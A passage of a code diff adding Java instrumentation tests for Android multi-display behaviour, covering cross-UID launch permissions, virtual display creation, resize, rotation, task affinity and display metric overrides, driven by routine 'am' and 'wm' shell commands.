+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+                new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Launch another activity with third different uid from app on secondary display and check
+        // it is launched on secondary display.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+                + " --es package_name " + THIRD_PACKAGE_NAME
+                + " --ei display_id " + newDisplay.mDisplayId;
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + targetActivity + includeStoppedPackagesFlag);
+
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+                new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+        assertEquals("Activity launched by app on secondary display must be on that display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /** Tests that an activity can launch an activity from a different UID into its own task. */
+    @Test
+    public void testPermissionLaunchMultiUidTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        // Check that the first activity is launched onto the secondary display
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Launch an activity from a different UID into the first activity's task
+        getLaunchActivityBuilder()
+                .setTargetPackage(SECOND_PACKAGE_NAME)
+                .setTargetActivityName(SECOND_ACTIVITY_NAME).execute();
+
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
+    }
+
+    /**
+     * Test that launching from display owner is allowed even when the the display owner
+     * doesn't have anything on the display.
+     */
+    @Test
+    public void testPermissionLaunchFromOwner() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch other activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+                new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Check that owner uid can launch its own activity on secondary display.
+        final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+                + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+                + " --ei display_id " + newDisplay.mDisplayId);
+
+        mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+        assertEquals("Activity launched by owner must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
+     * Test that launching from app that is not present on external display and doesn't own it to
+     * that external display is not allowed.
+     */
+    @Test
+    public void testPermissionLaunchFromDifferentApp() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        final String logSeparator = clearLogcat();
+
+        // Launch other activity with different uid and check security exception is triggered.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+
+        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+                new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity(
+                "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+        assertEquals("Focused stack must be on secondary display's stack",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    private void assertSecurityException(String component, String logSeparator) throws Exception {
+        int tries = 0;
+        boolean match = false;
+        final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
+        while (tries < 5 && !match) {
+            String[] logs = getDeviceLogsForComponent(component, logSeparator);
+            for (String line : logs) {
+                Matcher m = pattern.matcher(line);
+                if (m.matches()) {
+                    match = true;
+                    break;
+                }
+            }
+            tries++;
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+            }
+        }
+
+        assertTrue("Expected exception not found", match);
+    }
+
+    /**
+     * Test that only private virtual display can show content with insecure keyguard.
+     */
+    @Test
+    public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
+        if (!supportsMultiDisplay()) {
+            return;
+        }
+
+        // Try to create new show-with-insecure-keyguard public virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setPublicDisplay(true)
+                .setCanShowWithInsecureKeyguard(true)
+                .setMustBeCreated(false)
+                .build();
+
+        // Check that the display is not created.
+        assertNull(newDisplay);
+    }
+
+    /**
+     * Test that all activities that were on the private display are destroyed on display removal.
+     */
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+    @Test
+    public void testContentDestroyOnDisplayRemoved() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new private virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activities on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused",
+                RESIZEABLE_ACTIVITY_NAME);
+
+        // Destroy the display and check if activities are removed from system.
+        final String logSeparator = clearLogcat();
+        destroyVirtualDisplays();
+        final String activityName1
+                = ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+        final String activityName2
+                = ActivityManagerTestBase.getActivityComponentName(RESIZEABLE_ACTIVITY_NAME);
+        final String windowName1
+                = ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
+        final String windowName2
+                = ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.waitForWithAmState(
+                (state) -> !state.containsActivity(activityName1)
+                        && !state.containsActivity(activityName2),
+                "Waiting for activity to be removed");
+        mAmWmState.waitForWithWmState(
+                (state) -> !state.containsWindow(windowName1)
+                        && !state.containsWindow(windowName2),
+                "Waiting for activity window to be gone");
+
+        // Check AM state.
+        assertFalse("Activity from removed display must be destroyed",
+                mAmWmState.getAmState().containsActivity(activityName1));
+        assertFalse("Activity from removed display must be destroyed",
+                mAmWmState.getAmState().containsActivity(activityName2));
+        // Check WM state.
+        assertFalse("Activity windows from removed display must be destroyed",
+                mAmWmState.getWmState().containsWindow(windowName1));
+        assertFalse("Activity windows from removed display must be destroyed",
+                mAmWmState.getWmState().containsWindow(windowName2));
+        // Check activity logs.
+        assertActivityDestroyed(TEST_ACTIVITY_NAME, logSeparator);
+        assertActivityDestroyed(RESIZEABLE_ACTIVITY_NAME, logSeparator);
+    }
+
+    /**
+     * Test that the update of display metrics updates all its content.
+     */
+    @Presubmit
+    @Test
+    public void testDisplayResize() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch a resizeable activity on new secondary display.
+        final String initialLogSeparator = clearLogcat();
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused",
+                RESIZEABLE_ACTIVITY_NAME);
+
+        // Grab reported sizes and compute new with slight size change.
+        final ReportedSizes initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+                initialLogSeparator);
+
+        // Resize the docked stack, so that activity with virtual display will also be resized.
+        final String logSeparator = clearLogcat();
+        executeShellCommand(getResizeVirtualDisplayCommand());
+
+        mAmWmState.waitForWithAmState(amState -> {
+            try {
+                return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
+                        && amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
+            } catch (Exception e) {
+                logE("Error waiting for valid state: " + e.getMessage());
+                return false;
+            }
+        }, "Wait for the configuration change to happen and for activity to be resumed.");
+
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
+
+        // Check if activity in virtual display was resized properly.
+        assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY_NAME, 0 /* numRelaunch */,
+                1 /* numConfigChange */, logSeparator);
+
+        final ReportedSizes updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+        assertTrue(updatedSize.widthDp <= initialSize.widthDp);
+        assertTrue(updatedSize.heightDp <= initialSize.heightDp);
+        assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
+        assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
+    }
+
+    /** Read the number of configuration changes sent to activity from logs. */
+    private int readConfigChangeNumber(String activityName, String logSeparator) throws Exception {
+        return (new ActivityLifecycleCounts(activityName, logSeparator)).mConfigurationChangedCount;
+    }
+
+    /**
+     * Tests that when an activity is launched with displayId specified and there is an existing
+     * matching task on some other display - that task will moved to the target display.
+     */
+    @Test
+    public void testMoveToDisplayOnLaunch() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch activity with unique affinity, so it will the only one in its task.
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+        // Launch something to that display so that a new stack is created. We need this to be able
+        // to compare task numbers in stacks later.
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+        final int taskNum = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+                .getTasks().size();
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final int taskNumOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+                .getTasks().size();
+
+        // Launch activity on new secondary display.
+        // Using custom command here, because normally we add flags Intent#FLAG_ACTIVITY_NEW_TASK
+        // and Intent#FLAG_ACTIVITY_MULTIPLE_TASK when launching on some specific display. We don't
+        // do it here as we want an existing task to be used.
+        final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
+                + " --display " + newDisplay.mDisplayId;
+        executeShellCommand(launchCommand);
+        mAmWmState.waitForActivityState(LAUNCHING_ACTIVITY, STATE_RESUMED);
+
+        // Check that activity is brought to front.
+        mAmWmState.assertFocusedActivity("Existing task must be brought to front",
+                LAUNCHING_ACTIVITY);
+        mAmWmState.assertResumedActivity("Existing task must be resumed", LAUNCHING_ACTIVITY);
+
+        // Check that activity is on the right display.
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity must be moved to the secondary display",
+                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Check that task has moved from primary display to secondary.
+        final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+                .getTasks().size();
+        assertEquals("Task number in default stack must be decremented.", taskNum - 1,
+                taskNumFinal);
+        final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+                .getTasks().size();
+        assertEquals("Task number in stack on external display must be incremented.",
+                taskNumOnSecondary + 1, taskNumFinalOnSecondary);
+    }
+
+    /**
+     * Tests that when primary display is rotated secondary displays are not affected.
+     */
+    @Test
+    public void testRotationNotAffectingSecondaryScreen() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setResizeDisplay(false)
+                .build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        String logSeparator = clearLogcat();
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                RESIZEABLE_ACTIVITY_NAME);
+        final ReportedSizes initialSizes = getLastReportedSizesForActivity(
+                RESIZEABLE_ACTIVITY_NAME, logSeparator);
+        assertNotNull("Test activity must have reported initial sizes on launch", initialSizes);
+
+        // Rotate primary display and check that activity on secondary display is not affected.
+        rotateAndCheckSameSizes(RESIZEABLE_ACTIVITY_NAME);
+
+        // Launch activity to secondary display when primary one is rotated.
+        final int initialRotation = mAmWmState.getWmState().getRotation();
+        setDeviceRotation((initialRotation + 1) % 4);
+
+        logSeparator = clearLogcat();
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
+                TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("Sizes of secondary display must not change after rotation of primary display",
+                initialSizes, testActivitySizes);
+    }
+
+    private void rotateAndCheckSameSizes(String activityName) throws Exception {
+        for (int rotation = 3; rotation >= 0; --rotation) {
+            final String logSeparator = clearLogcat();
+            setDeviceRotation(rotation);
+            final ReportedSizes rotatedSizes = getLastReportedSizesForActivity(activityName,
+                    logSeparator);
+            assertNull("Sizes must not change after rotation", rotatedSizes);
+        }
+    }
+
+    /**
+     * Tests that task affinity does affect what display an activity is launched on but that
+     * matching the task component root does.
+     */
+    @Test
+    public void testTaskMatchAcrossDisplays() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        // Check that activity is on the secondary display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+                new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+        // Check that second activity gets launched on the default display despite
+        // the affinity match on the secondary display.
+        final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
+                DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
+                mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
+        assertEquals("Activity launched on default display must be resumed",
+                getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+                defaultDisplayFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on primary display",
+                defaultDisplayFrontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
+        mAmWmState.waitForFocusedStack(frontStackId);
+
+        // Check that the third intent is redirected to the first task due to the root
+        // component match on the secondary display.
+        final ActivityManagerState.ActivityStack secondFrontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on primary display", frontStackId);
+        assertEquals("Focused stack must only contain 1 task",
+                1, secondFrontStack.getTasks().size());
+        assertEquals("Focused task must only contain 1 activity",
+                1, secondFrontStack.getTasks().get(0).mActivities.size());
+    }
+
+    /**
+     * Tests that the task affinity search respects the launch display id.
+     */
+    @Test
+    public void testLaunchDisplayAffinityMatch() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+
+        // Check that activity is on the secondary display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
+        executeShellCommand("am start -n "
+                + getActivityComponentName(ALT_LAUNCHING_ACTIVITY)
+                + " -f 0x10000000" // FLAG_ACTIVITY_NEW_TASK
+                + " --display " + newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+        // Check that second activity gets launched into the affinity matching
+        // task on the secondary display
+        final int secondFrontStackId =
+                mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack secondFrontStack =
+                mAmWmState.getAmState().getStackById(secondFrontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+                secondFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display",
+                secondFrontStackId);
+        assertEquals("Focused stack must only contain 1 task",
+                1, secondFrontStack.getTasks().size());
+        assertEquals("Focused task must contain 2 activities",
+                2, secondFrontStack.getTasks().get(0).mActivities.size());
+    }
+
+    /**
+     * Tests than a new task launched by an activity will end up on that activity's display
+     * even if the focused stack is not on that activity's display.
+     */
+    @Test
+    public void testNewTaskSameDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(BROADCAST_RECEIVER_ACTIVITY).build());
+
+        // Check that the first activity is launched onto the secondary display
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
+                firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+                new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        // Check that the second activity is launched on the default display
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Activity launched on default display must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), focusedStack.mResumedActivity);
+        assertEquals("Focus must be on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+                + "--ez new_task true --es target_activity " + LAUNCHING_ACTIVITY);
+
+        // Check that the third activity ends up in a new task in the same stack as the
+        // first activity
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+                new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+        final ActivityManagerState.ActivityStack secondFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity must be launched on secondary display",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                secondFrontStack.mResumedActivity);
+        assertEquals("Secondary display must contain 2 tasks",
+                2, secondFrontStack.getTasks().size());
+    }
+
+    /**
+     * Test that display overrides apply correctly and won't be affected by display changes.
+     * This sets overrides to display size and density, initiates a display changed event by locking
+     * and unlocking the phone and verifies that overrides are kept.
+     */
+    @Presubmit
+    @Test
+    public void testForceDisplayMetrics() throws Exception {
+        launchHomeActivity();
+
+        // Read initial sizes.
+        final ReportedDisplayMetrics originalDisplayMetrics = getDisplayMetrics();
+
+        // Apply new override values that don't match the physical metrics.
+        final int overrideWidth = (int) (originalDisplayMetrics.physicalWidth * 1.5);
+        final int overrideHeight = (int) (originalDisplayMetrics.physicalHeight * 1.5);
+        executeShellCommand(WM_SIZE + " " + overrideWidth + "x" + overrideHeight);
+        final int overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
+        executeShellCommand(WM_DENSITY + " " + overrideDensity);
+
+        // Check if overrides applied correctly.
+        ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        assertEquals(overrideWidth, displayMetrics.overrideWidth);
+        assertEquals(overrideHeight, displayMetrics.overrideHeight);
+        assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+        // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
+        // might update the metrics.
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.waitForHomeActivityVisible();
+
+        // Check if overrides are still applied.
+        displayMetrics = getDisplayMetrics();
+        assertEquals(overrideWidth, displayMetrics.overrideWidth);
+        assertEquals(overrideHeight, displayMetrics.overrideHeight);
+        assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+        // All overrides will be cleared in tearDown.
+    }
+
+    /**
+     * Tests than an immediate launch after new display creation is handled correctly.
+     */
+    @Test
+    public void testImmediateLaunchOnNewDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display and immediately launch an activity on it.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+        // Check that activity is launched and placed correctly.
+        mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+    }
+
+    /**
+     * Tests that turning the primary display off does not affect the activity running
+     * on an external secondary display.
+     */
+    @Test
+    public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the activity is launched onto the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        setPrimaryDisplayState(false);
+
+        // Wait for the fullscreen stack to start sleeping, and then make sure the
+        // test activity is still resumed.
+        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped after turning off");
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that an activity can be launched on a secondary display while the primary
+     * display is off.
+     */
+    @Test
+    public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
